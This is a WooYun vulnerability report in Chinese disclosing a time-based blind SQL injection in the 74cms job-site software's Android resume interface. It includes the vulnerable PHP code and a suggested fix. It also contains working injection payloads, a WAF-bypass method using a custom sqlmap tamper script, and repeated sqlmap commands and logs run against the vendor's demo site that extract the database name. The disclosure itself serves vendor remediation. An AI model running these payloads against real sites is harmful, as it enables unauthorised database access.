当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110002

漏洞标题:骑士CMS某接口1处SQL盲注#1(官网demo测试)

相关厂商:74c,s.com

漏洞作者: 龟兔赛跑

提交时间:2015-04-24 11:16

修复时间:2015-07-23 16:54

公开时间:2015-07-23 16:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-24: 细节已通知厂商并且等待厂商处理中
2015-04-24: 厂商已经确认,细节仅向厂商公开
2015-04-27: 细节向第三方安全合作伙伴开放
2015-06-18: 细节向核心白帽子及相关领域专家公开
2015-06-28: 细节向普通白帽子公开
2015-07-08: 细节向实习白帽子公开
2015-07-23: 细节向公众公开

简要描述:

骑士CMS某接口1处SQL盲注(官网demo测试)

详细说明:

手机客户端接口存在SQL注入,SELECT注入无关键字过滤,理论上可以获取任意数据。

http://demo.74cms.com/android/resume.php


代码:

15  if (!empty($aset['displayorder']))
16 {
17 $arr=explode('>',$aset['displayorder']);
18 $arr[1]=preg_match('/asc|desc/',$arr[1])?$arr[1]:"desc";
19 if ($arr[0]=="rtime")
20 {
21 $orderbysql=" ORDER BY r.refreshtime {$arr[1]}";
22 }
23 }

displayorder参数过滤不正确导致SQL注入。
"displayorder":"rtime> abd #desc"时返回数据库错误:

1.png


"displayorder":"rtime> limit 1 #desc"返回一行数据:

2.png


手机客户端接口没有太多的过滤,可以注入SELECT语句,为了绕过WAF,我们需要把SELECT语句转换一下:"SELECT" => "SEL<A>ECT"等等,随手写个sqlmap的tamper script来帮助绕过WAF。

$ python sqlmap.py -u "http://demo.74cms.com/android/resume.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23desc%22}"  --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22rtime>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:37:21
[19:37:21] [INFO] loading tamper script '74cmsbetween'
[19:37:21] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5'
[19:37:21] [INFO] testing connection to the target URL
[19:37:25] [INFO] testing if the target URL is stable. This can take a couple of seconds
[19:37:28] [INFO] target URL is stable
[19:37:29] [WARNING] heuristic (basic) test shows that POST parameter 'req' might not be injectable
[19:37:31] [INFO] testing for SQL injection on POST parameter 'req'
[19:37:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[19:37:33] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[19:38:52] [INFO] POST parameter 'req' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
[19:38:52] [INFO] checking if the injection point on POST parameter 'req' is a false positive
POST parameter 'req' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 35 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "rtime> AND (SELECT * FROM (SELECT(SLEEP(5)))cFmJ)#desc"}
---
[19:39:53] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[19:39:53] [INFO] testing MySQL
[19:39:53] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[19:40:10] [INFO] confirming MySQL
[19:40:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[19:40:34] [INFO] fetched data logged to text files under '/home/abcd/.sqlmap/output/demo.74cms.com'
[*] shutting down at 19:40:34


获取一下数据库名:

$ python sqlmap.py -u "http://demo.74cms.com/android/resume.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23desc%22}"  --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22rtime>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1 --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:04:49
[20:04:49] [INFO] loading tamper script '74cmsbetween'
[20:04:49] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1'
[20:04:49] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "rtime> AND (SELECT * FROM (SELECT(SLEEP(5)))sWwU)#desc"}
---
[20:04:53] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[20:04:53] [INFO] testing MySQL
[20:04:57] [INFO] confirming MySQL
[20:04:57] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[20:04:57] [INFO] fetching current database
[20:04:57] [WARNING] time-based comparison requires larger statistical model, please wait.............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[20:06:18] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
demo
current database: 'demo'
[20:10:08] [INFO] fetched data logged to text files under '/home/abcd/.sqlmap/output/demo.74cms.com'
[*] shutting down at 20:10:08

漏洞证明:

$ python sqlmap.py -u "http://demo.74cms.com/android/resume.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23desc%22}"  --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22rtime>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1 --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:04:49
[20:04:49] [INFO] loading tamper script '74cmsbetween'
[20:04:49] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1'
[20:04:49] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "rtime> AND (SELECT * FROM (SELECT(SLEEP(5)))sWwU)#desc"}
---
[20:04:53] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[20:04:53] [INFO] testing MySQL
[20:04:57] [INFO] confirming MySQL
[20:04:57] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[20:04:57] [INFO] fetching current database
[20:04:57] [WARNING] time-based comparison requires larger statistical model, please wait.............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[20:06:18] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
demo
current database: 'demo'
[20:10:08] [INFO] fetched data logged to text files under '/home/abcd/.sqlmap/output/demo.74cms.com'
[*] shutting down at 20:10:08

修复方案:

18 $arr[1]=preg_match('/asc|desc/',$arr[1])?$arr[1]:"desc";
=>
18 $arr[1]=preg_match('/asc/',$arr[1])?"asc":"desc";

版权声明:转载请注明来源 龟兔赛跑@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-24 16:53

厂商回复:

最新状态:

暂无